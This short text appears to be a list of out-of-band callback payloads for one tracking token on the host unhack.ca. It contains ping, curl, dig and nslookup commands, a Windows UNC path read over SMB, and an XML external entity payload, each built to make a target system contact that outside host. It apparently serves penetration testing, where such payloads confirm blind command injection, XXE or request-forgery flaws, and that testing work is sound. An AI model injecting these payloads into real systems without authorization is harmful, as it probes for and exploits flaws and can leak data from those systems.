$ ping -c1 -p 000af48e6b4cf4716911248d4c8a4500 unhack.ca
 

$ curl http://unhack.ca/p/0af48e6b4cf4716911248d4c8a45
 

$ dig 0af48e6b4cf4716911248d4c8a45 @unhack.ca
 

$ dig 0af48e6b4cf4716911248d4c8a45.ns.unhack.ca
 

C:\> nslookup 0af48e6b4cf4716911248d4c8a45 unhack.ca
 

C:\> type \\unhack.ca\0af48e6b4cf4716911248d4c8a45\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0af48e6b4cf4716911248d4c8a45">]>
    <foo>&xxe;</foo>